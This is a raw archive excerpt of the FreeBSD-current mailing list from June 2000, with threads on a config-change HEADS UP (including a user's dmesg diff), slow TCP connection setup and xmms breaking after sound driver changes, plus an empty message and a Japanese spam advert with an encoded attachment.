Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006150006.JAA21790@zodiac.mech.utsunomiya-u.ac.jp>; from yokota@zodiac.mech.utsunomiya-u.ac.jp on Thu, Jun 15, 2000 at 09:06:52AM +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kazutaka YOKOTA [000614 17:00] wrote: > > >After taking the patches for config and booting my box reboots > > Which patch is it? I'm sorry, I should have been more clear, no patches, just the 5.0 sources from ~noon PST. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17:41:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from funkthat.com (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213]) by hub.freebsd.org (Postfix) with ESMTP id 7107F37B536; Wed, 14 Jun 2000 17:41:07 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by funkthat.com (8.9.3/8.8.7) id RAA27401; Wed, 14 Jun 2000 17:41:05 -0700 (PDT) Message-ID: <20000614174105.17150@hydrogen.funkthat.com> Date: Wed, 14 Jun 2000 17:41:05 -0700 From: John-Mark Gurney To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, committers@FreeBSD.ORG Subject: Re: establish tcp connection slowness References: <20000613021558.43594@hydrogen.funkthat.com> <200006140654.XAA43400@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <200006140654.XAA43400@apollo.backplane.com>; from Matthew Dillon on Tue, Jun 13, 2000 at 11:54:22PM -0700 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.4-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon scribbled this message on Jun 13: > Typically time delays like this are due to the reverse DNS lookup > failing. Make sure the dns resolver is working properly on the > machine. You should be able to test it by running nslookup on > the IP addresses connecting into the machine. not if the time delay is between Trying x.x.x.x... and the Connected to line... also, the time delay is being seen w/ a simple /bin/echo service.. this shouldn't do any reverse lookup of the connecting host.. -- John-Mark Gurney Voice: +1 408 975 9651 Cu Networking "I say all sorts of useless things." -- cmc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17:41:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 935E937B536 for ; Wed, 14 Jun 2000 17:41:39 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e5F0fdw07527 for current@freebsd.org; Wed, 14 Jun 2000 17:41:39 -0700 (PDT) Date: Wed, 14 Jun 2000 17:41:39 -0700 From: Alfred Perlstein To: current@freebsd.org Subject: xmms broken by either libc_r or sound Message-ID: <20000614174139.I18462@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG xmms is a really good test for libc_r and the sound system. xmms no longer plays back mp3s, other mp3 players are working fine. Any ideas? -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17:51: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from norn.ca.eu.org (cr965240-b.abtsfd1.bc.wave.home.com [24.113.19.137]) by hub.freebsd.org (Postfix) with ESMTP id 2559837B536 for ; Wed, 14 Jun 2000 17:51:03 -0700 (PDT) (envelope-from cpiazza@norn.ca.eu.org) Received: by norn.ca.eu.org (Postfix, from userid 1000) id AE5AB137; Wed, 14 Jun 2000 17:51:01 -0700 (PDT) Date: Wed, 14 Jun 2000 17:51:01 -0700 From: Chris Piazza To: Alfred Perlstein Cc: current@freebsd.org Subject: Re: xmms broken by either libc_r or sound Message-ID: <20000614175101.A7313@norn.ca.eu.org> References: <20000614174139.I18462@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mutt 1.0.1i-jp0 In-Reply-To: <20000614174139.I18462@fw.wintelcom.net>; from bright@wintelcom.net on Wed, Jun 14, 2000 at 05:41:39PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 14, 2000 at 05:41:39PM -0700, Alfred Perlstein wrote: > xmms is a really good test for libc_r and the sound system. > > xmms no longer plays back mp3s, other mp3 players are working > fine. > > Any ideas? Yes backout recent changes to sys/dev/sound/pcm/channel.c. (a few days) There was a large-ish thread about this on -committers too... -Chris -- cpiazza@jaxon.net | yawn..... cpiazza@FreeBSD.org | Abbotsford, BC, Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17:54: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from europe.std.com (europe.std.com [199.172.62.20]) by hub.freebsd.org (Postfix) with ESMTP id 282D837B623 for ; Wed, 14 Jun 2000 17:54:02 -0700 (PDT) (envelope-from prb@WORLD.STD.COM) Received: from world.std.com (root@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id UAA18747 for ; Wed, 14 Jun 2000 20:54:00 -0400 (EDT) Received: from prb (ppp0a146.std.com [208.192.100.146]) by world.std.com (8.9.3/8.9.3) with SMTP id UAA13146 for ; Wed, 14 Jun 2000 20:52:30 -0400 (EDT) Message-ID: <000801bfd67d$3b9f1280$9264c0d0@prb> Reply-To: "Philip R. Bator" From: "Philip R. Bator" To: Subject: Date: Wed, 14 Jun 2000 20:53:10 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01BFD642.8D0EB480" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BFD642.8D0EB480 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0005_01BFD642.8D0EB480 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0005_01BFD642.8D0EB480-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 18:21: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.tar.com (ns.tar.com [204.95.187.2]) by hub.freebsd.org (Postfix) with ESMTP id B369A37B588 for ; Wed, 14 Jun 2000 18:21:05 -0700 (PDT) (envelope-from dick@tar.com) Received: from test.tar.com (test [204.95.187.4]) by ns.tar.com (8.9.3/8.9.3) with ESMTP id UAA43344; Wed, 14 Jun 2000 20:21:00 -0500 (CDT) (envelope-from dick@tar.com) Received: by test.tar.com (Postfix, from userid 1000) id 95D1D81D22; Wed, 14 Jun 2000 20:20:59 -0500 (CDT) Date: Wed, 14 Jun 2000 20:20:59 -0500 From: "Richard Seaman, Jr." To: Chris Piazza Cc: Alfred Perlstein , current@FreeBSD.ORG Subject: Re: xmms broken by either libc_r or sound Message-ID: <20000614202059.B418@tar.com> References: <20000614174139.I18462@fw.wintelcom.net> <20000614175101.A7313@norn.ca.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000614175101.A7313@norn.ca.eu.org>; from cpiazza@jaxon.net on Wed, Jun 14, 2000 at 05:51:01PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 14, 2000 at 05:51:01PM -0700, Chris Piazza wrote: > On Wed, Jun 14, 2000 at 05:41:39PM -0700, Alfred Perlstein wrote: > > xmms is a really good test for libc_r and the sound system. > > > > xmms no longer plays back mp3s, other mp3 players are working > > fine. > > > > Any ideas? > > Yes backout recent changes to sys/dev/sound/pcm/channel.c. (a few days) > > There was a large-ish thread about this on -committers too... Before you do, it would be interesting to check whether the pcm driver is getting dma interrupts. Either try to play some sound and check vmstat -i, or add a printf to chn_wrintr in channel.c. Lots of the reportable problems with the pcm driver can be reproduced here when the driver does not get dma interrupts. However, it may be unique to my setup. -- Richard Seaman, Jr. email: dick@tar.com 5182 N. Maple Lane phone: 262-367-5450 Nashotah WI 53058 fax: 262-367-5852 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 19:20: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail-2.sjc.telocity.net (mail-2.sjc.telocity.net [216.227.56.42]) by hub.freebsd.org (Postfix) with ESMTP id 1AB7837B544 for ; Wed, 14 Jun 2000 19:20:01 -0700 (PDT) (envelope-from otterr@telocity.com) Received: from dsl-216-227-91-85.telocity.com (dsl-216-227-91-85.telocity.com [216.227.91.85]) by mail-2.sjc.telocity.net (8.9.3/8.9.3) with ESMTP id TAA20213; Wed, 14 Jun 2000 19:14:50 -0700 (PDT) Date: Wed, 14 Jun 2000 22:01:03 +0000 (GMT) From: Otter To: Chris Piazza Cc: current@FreeBSD.ORG Subject: Re: xmms broken by either libc_r or sound In-Reply-To: <20000614175101.A7313@norn.ca.eu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Jun 2000, Chris Piazza wrote: > On Wed, Jun 14, 2000 at 05:41:39PM -0700, Alfred Perlstein wrote: > > xmms is a really good test for libc_r and the sound system. > > > > xmms no longer plays back mp3s, other mp3 players are working > > fine. > > > > Any ideas? > > Yes backout recent changes to sys/dev/sound/pcm/channel.c. (a few days) > How does one backout changes? I thought once it was committed, and the make world process is complete, it was just that: committed. -Otter > There was a large-ish thread about this on -committers too... > > -Chris > -- > cpiazza@jaxon.net | yawn..... > cpiazza@FreeBSD.org | Abbotsford, BC, Canada > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 19:54: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from barracuda.aquarium.rtci.com (barracuda.aquarium.rtci.com [208.11.247.5]) by hub.freebsd.org (Postfix) with ESMTP id CD58A37B605 for ; Wed, 14 Jun 2000 19:54:02 -0700 (PDT) (envelope-from tstromberg@rtci.com) Received: from barracuda (barracuda [208.11.247.5]) by barracuda.aquarium.rtci.com (8.9.3+Sun/8.9.3) with ESMTP id WAA22670; Wed, 14 Jun 2000 22:53:58 -0400 (EDT) Date: Wed, 14 Jun 2000 22:53:58 -0400 (EDT) From: Thomas Stromberg X-Sender: tstromberg@barracuda.aquarium.rtci.com To: Alfred Perlstein Cc: current@FreeBSD.ORG Subject: Re: xmms broken by either libc_r or sound In-Reply-To: <20000614174139.I18462@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For now I'm just using mpg123 (gqmpeg works too of course, as a front-end, but I hate it's list manager).. mpg123 seems to work fine on all of my -current machines. ------------------------------------------------------------------------ thomas r. stromberg tstromberg@rtci.com senior systems administrator http://www.afterthought.org/ research triangle commerce, inc. 1.919.657.1317 'FreeBSD - the power to serve' 'Perl - the power to hack' ------------------------------------------------------------------------ On Wed, 14 Jun 2000, Alfred Perlstein wrote: > xmms is a really good test for libc_r and the sound system. > > xmms no longer plays back mp3s, other mp3 players are working > fine. > > Any ideas? > > -Alfred > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 20:12:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat193.152.mpoweredpc.net [142.177.193.152]) by hub.freebsd.org (Postfix) with ESMTP id 7D3D037B605 for ; Wed, 14 Jun 2000 20:12:30 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id AAA18867; Thu, 15 Jun 2000 00:11:18 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Thu, 15 Jun 2000 00:11:18 -0300 (ADT) From: The Hermit Hacker To: Alfred Perlstein Cc: current@FreeBSD.ORG Subject: Re: xmms broken by either libc_r or sound In-Reply-To: <20000614174139.I18462@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG oh good, I thought it was somehow something I did on my last upgrade and was just about to hit the list archives to make sure I hadn't missed something :) On Wed, 14 Jun 2000, Alfred Perlstein wrote: > xmms is a really good test for libc_r and the sound system. > > xmms no longer plays back mp3s, other mp3 players are working > fine. > > Any ideas? > > -Alfred > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 21:26:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 0A71937B5D2 for ; Wed, 14 Jun 2000 21:26:31 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.9.3/8.9.3) id XAA17128; Wed, 14 Jun 2000 23:26:21 -0500 (CDT) (envelope-from dan) Date: Wed, 14 Jun 2000 23:26:21 -0500 From: Dan Nelson To: Otter Cc: Chris Piazza , current@FreeBSD.ORG Subject: Re: xmms broken by either libc_r or sound Message-ID: <20000614232621.B12512@dan.emsphone.com> References: <20000614175101.A7313@norn.ca.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.3i In-Reply-To: ; from "Otter" on Wed Jun 14 22:01:03 GMT 2000 X-OS: FreeBSD 5.0-CURRENT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (Jun 14), Otter said: > On Wed, 14 Jun 2000, Chris Piazza wrote: > > Yes backout recent changes to sys/dev/sound/pcm/channel.c. (a few days) > > How does one backout changes? I thought once it was committed, and > the make world process is complete, it was just that: committed. You make another commit, undoing what your first commit did. That way there is a record of what you did, and hopefully why it was backed out. For more info: info -n "(cvs)Merging two revisions" -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 3:30:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id A775D37B520 for ; Thu, 15 Jun 2000 03:30:52 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-194-8-195-24.netcologne.de [194.8.195.24]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id MAA08217; Thu, 15 Jun 2000 12:30:49 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id MAA09551; Thu, 15 Jun 2000 12:29:59 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Thu, 15 Jun 2000 12:29:59 +0200 (CEST) Message-Id: <200006151029.MAA09551@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom iTo: peter@netplex.com.au Cc: current@FreeBSD.ORG In-reply-to: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> (message from Peter Wemm on Tue, 13 Jun 2000 16:18:29 -0700) Subject: Re: HEADS UP!: config changes... Reply-To: van.woerkom@netcologne.de References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! I was able to build and boot, starting from a February -CURRENT but there are some oddities. 1. I had to disable linux emulation, as it caused system hangup Yes I followed the hint on rebranding from src/UPDATING 2. My system seems to have a problem with fsck I had to use the old February kernel to boot and fsck with it, after the new kernel driven system crashed with the fs inconsistent 3. in the boot loader I miss the list of commands, ? (i hope this was the command) just yields a number 4. I thought I put just the sym driver in the kernel, why do I see ncr? (see next item) 5. Here are the dmesg differences between the February and the new kernel. Could you explain the unassigned resources messages to me? +Setting atkbd 0 at to atkbdc (string) +Setting atkbd 0 irq to 1 (int) +Setting atkbdc 0 at to isa (string) +Setting atkbdc 0 port to 96 (int) +Setting fd 0 at to fdc0 (string) +Setting fd 0 drive to 0 (int) +Setting fdc 0 at to isa (string) +Setting fdc 0 drq to 2 (int) +Setting fdc 0 irq to 6 (int) +Setting fdc 0 port to 1008 (int) +Setting isic 0 at to isa (string) +Setting isic 0 flags to 3 (int) +Setting isic 0 irq to 5 (int) +Setting isic 0 port to 3456 (int) +Setting joy 0 at to isa (string) +Setting joy 0 port to 513 (int) +Setting lpt 0 at to ppbus (string) +Setting npx 0 at to nexus (string) +Setting npx 0 flags to 0 (int) +Setting npx 0 irq to 13 (int) +Setting npx 0 port to 240 (int) +Setting ppc 0 at to isa (string) +Setting ppc 0 irq to 7 (int) +Setting sc 0 at to isa (string) +Setting sio 0 at to isa (string) +Setting sio 0 flags to 16 (int) +Setting sio 0 irq to 4 (int) +Setting sio 0 port to 1016 (int) +Setting vga 0 at to isa (string) +FreeBSD 5.0-CURRENT #15: Thu Jun 15 00:25:51 CEST 2000 marc@oranje.my.domain:/usr/src/sys/compile/ORANJE Timecounter "i8254" frequency 1193182 Hz -Timecounter "TSC" frequency 300684682 Hz -CPU: AMD-K6tm w/ multimedia extensions (300.68-MHz 586-class CPU) +Timecounter "TSC" frequency 300685025 Hz +CPU: AMD-K6tm w/ multimedia extensions (300.69-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x570 Stepping = 0 Features=0x8001bf AMD Features=0x400<> real memory = 201326592 (196608K bytes) -avail memory = 191733760 (187240K bytes) -Preloaded elf kernel "kernel" at 0xc030d000. -VESA: v3.0, 4096k memory, flags:0x1, mode table:0xc02b3602 (1000022) +avail memory = 192716800 (188200K bytes) +Preloaded elf kernel "kernel" at 0xc032c000. +VESA: v3.0, 4096k memory, flags:0x1, mode table:0xc02cd122 (1000022) VESA: NVidia npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 +pci0: at 0.0 isab0: at device 1.0 on pci0 isa0: on isab0 atapci0: irq 0 at device 1.1 on pci0 @@ -25,30 +55,42 @@ atapci1: port 0x6500-0x65ff,0x6400-0x6403,0x6300-0x6307 irq 15 at device 11.0 on pci0 ata2: at 0x6300 on atapci1 atapci2: port 0x6800-0x68ff,0x6700-0x6703,0x6600-0x6607 irq 15 at device 11.1 on pci0 -sym0: <875> port 0x6900-0x69ff mem 0xe2000000-0xe2000fff,0xe2002000-0xe20020ff irq 11 at device 13.0 on pci0 -sym0: Tekram NVRAM, ID 7, Fast-20, SE, parity checking +ncr0: port 0x6900-0x69ff mem 0xe2000000-0xe2000fff,0xe2002000-0xe20020ff irq 11 at device 13.0 on pci0 pcm0: port 0x6a00-0x6a3f irq 10 at device 15.0 on pci0 -pci0: NVidia Riva TNT graphics accelerator (vendor=0x10de, dev=0x0020) at 17.0 irq 9 -atkbdc0: at port 0x60-0x6f on isa0 +pci0: at 17.0 irq 9 +atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 -vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 -sc0: on isa0 -sc0: VGA <16 virtual consoles, flags=0x200> fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 -sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 -sio0: type 16550A -joy0 at port 0x201 on isa0 -isic0 at port 0xd80,0x960-0x99f,0x160-0x19f,0x560-0x59f irq 5 flags 0x3 on isa0 +isic0 at port 0xd80-0xd9f,0x980-0x99f,0x180-0x19f,0x580-0x59f irq 5 flags 0x3 on isa0 isic0: Teles S0/16.3 -ppc0: at port 0x378-0x37f irq 7 on isa0 +joy0 at port 0x201 on isa0 +ppc0: This ppc chipset does not support the extended I/O port range...no problem +ppc0: at port 0x378-0x37b irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode -ppbus0: IEEE1284 device found /NIBBLE -Probing for PnP devices on ppbus0: -ppbus0: PRINTER HP ENHANCED PCL5,PJL lpt0: on ppbus0 lpt0: Interrupt-driven port +sc0: on isa0 +sc0: VGA <16 virtual consoles, flags=0x200> +sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 +sio0: type 16550A +vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 +unknown: can't assign resources +unknown: can't assign resources +unknown0: at port 0x40-0x43 irq 0 on isa0 +unknown1: at port 0x70-0x71 irq 8 on isa0 +unknown: can't assign resources +unknown2: at port 0x61 on isa0 +npxisa0: at port 0xf0-0xff irq 13 on isa0 +unknown3: at iomem 0xe0000-0xfffff,0-0x9ffff,0x20000000-0x203fffff,0xffee0000-0xffefffff,0xfffe0000-0xffffffff,0x100000-0xbffffff on isa0 +unknown4: at port 0x4d0-0x4d1,0xcf8-0xcff,0x480-0x48f on isa0 +unknown5: at port 0x6100-0x613f on isa0 +unknown: can't assign resources +unknown: can't assign resources +unknown: can't assign resources +sio1: <16550A-compatible COM port> at port 0x2f8-0x2ff irq 3 on isa0 +sio1: type 16550A i4b: ISDN call control device attached i4bisppp: 4 ISDN SyncPPP device(s) attached i4bctl: ISDN system control port attached @@ -59,19 +101,19 @@ ad0: 26059MB [52946/16/63] at ata2-master using UDMA66 Waiting 8 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s2a -cd0 at sym0 bus 0 target 6 lun 0 -cd0: Removable CD-ROM SCSI-2 device -cd0: 10.000MB/s transfers (10.000MHz, offset 15) -cd0: cd present [355510 x 2048 byte records] -da0 at sym0 bus 0 target 0 lun 0 +cd0 at ncr0 bus 0 target 4 lun 0 +cd0: Removable CD-ROM SCSI-2 device +cd0: 20.000MB/s transfers (20.000MHz, offset 8) +cd0: cd present [2134336 x 2048 byte records] +da0 at ncr0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled da0: 2068MB (4235629 512 byte sectors: 255H 63S/T 263C) -da1 at sym0 bus 0 target 1 lun 0 +da1 at ncr0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 15, 16bit) da1: 4134MB (8467200 512 byte sectors: 255H 63S/T 527C) -da2 at sym0 bus 0 target 2 lun 0 +da2 at ncr0 bus 0 target 2 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 20.000MB/s transfers (20.000MHz, offset 15), Tagged Queueing Enabled da2: 2063MB (4226725 512 byte sectors: 255H 63S/T 263C) Thanks for the work, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 3:36:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 803D837B520 for ; Thu, 15 Jun 2000 03:36:24 -0700 (PDT) (envelope-from sobomax@FreeBSD.org) Received: from vic.sabbo.net (vic.sabbo.net [193.193.218.106]) by blizzard.sabbo.net (8.9.1/8.9.3) with ESMTP id NAA11146; Thu, 15 Jun 2000 13:34:30 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.9.3/8.9.3) with ESMTP id NAA40814; Thu, 15 Jun 2000 13:35:12 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <3948B15C.5C529FD5@FreeBSD.org> Date: Thu, 15 Jun 2000 13:35:09 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Alexander Langer Cc: Peter Wemm , current@FreeBSD.org Subject: Re: HEADS UP!: config changes... References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> <20000614230411.A471@cichlids.cichlids.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alexander Langer wrote: > c) is much more interesting: With the new kernel my syscons scrolling > stopped working. However, this could also be jake's fault, I'll ask > him. Still works like a charm here. Maybe problem is elsewhere? -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 15 5:27:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from ums5.nifty.ne.jp (ums5.nifty.ne.jp [192.47.24.155]) by hub.freebsd.org (Postfix) with ESMTP id B9FD637B7BC for ; Thu, 15 Jun 2000 05:27:06 -0700 (PDT) (envelope-from DQE10574@nifty.ne.jp) Received: (from root@localhost) by ums5.nifty.ne.jp (8.9.3+3.2W/3.7W990929) id UAA02360; Thu, 15 Jun 2000 20:44:24 +0900 (JST) Date: Thu, 15 Jun 2000 19:35:46 +0900 From: e=?ISO-2022-JP?B?GyRCIV0+cEpzISUbKEI=?= com Message-ID: <20000615193546.7EA4@nifty.ne.jp> To: DQE10574@nifty.ne.jp Subject: =?iso-2022-jp?B?ZRskQiFdPnBKcyElGyhCY29tIDcbJEI3bhsoQjIwGyRCRnwbKEIgGyRCJU0lQyVIJEtFUD5sGyhC?= MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="---------------------------7d02daa390" X-Mailer: INTERWAY Version 2.60 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----------------------------7d02daa390 Content-Type: text/plain;charset="iso-2022-jp" Content-Transfer-Encoding: 7bit $B#e!]>pJs(B.com $B#77n#2#0F|(B $B%M%C%H$KEP>l(B $B!!!!!!!!3$$NF|%*!<%W%s$K@hN)$A(B $B!!!!!!!!!!!!#e!]>pJs(B.com $B!!!!!!!!!!!!!!!!!!$N(B $B!!!!!!!!M'C#$rBgJg=8CW$7$^$9$C!*(B $B!!!!!!%H%C%W%Z!<%8$N35MW$r$_$?$$J}$O(B $B!!!!!!!!!!E:IU=qN`$r3+$$$F2<$5$$!#(B $B!!(B $B!!!!$h(B(^$B!{(B^)$B$m(B(^$B!{(B^)$B$7(B(^$B!<(B^)$B$/(B(^$B!{(B^)$B!!$Z$3(B -----------------------------7d02daa390 Content-Type: message/rfc822;name="e-$B>pJs(B.com.mht" Content-Transfer-Encoding: base64 Content-Disposition: attachment;filename="e-$B>pJs(B.com.mht" RnJvbTogPE1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciA1IILFlduRtoK3guk+DQpTdWJqZWN0 OiA9P2lzby0yMDIyLWpwP0I/VUc5M1pYSlFiMmx1ZENBYkpFSWxWeVZzSlR3bGN5VkdJVHdsTnlW bkpYTWJLRUk9Pz0NCkRhdGU6IFR1ZSwgMTMgSnVuIDIwMDAgMjI6MzY6NDcgKzA5MDANCk1JTUUt VmVyc2lvbjogMS4wDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9yZWxhdGVkOw0KCWJvdW5kYXJ5 PSItLS0tPV9OZXh0UGFydF8wMDBfMDAwMF8wMUJGRDU4Ny5EQkQxNkUyMCI7DQoJdHlwZT0idGV4 dC9odG1sIg0KWC1NaW1lT0xFOiBQcm9kdWNlZCBCeSBNaWNyb3NvZnQgTWltZU9MRSBWNS4wMC4y OTE5LjY2MDANCg0KVGhpcyBpcyBhIG11bHRpLXBhcnQgbWVzc2FnZSBpbiBNSU1FIGZvcm1hdC4N Cg0KLS0tLS0tPV9OZXh0UGFydF8wMDBfMDAwMF8wMUJGRDU4Ny5EQkQxNkUyMA0KQ29udGVudC1U eXBlOiB0ZXh0L2h0bWw7DQoJY2hhcnNldD0ic2hpZnRfamlzIg0KQ29udGVudC1UcmFuc2Zlci1F bmNvZGluZzogcXVvdGVkLXByaW50YWJsZQ0KQ29udGVudC1Mb2NhdGlvbjogPT9zaGlmdF9qaXM/ 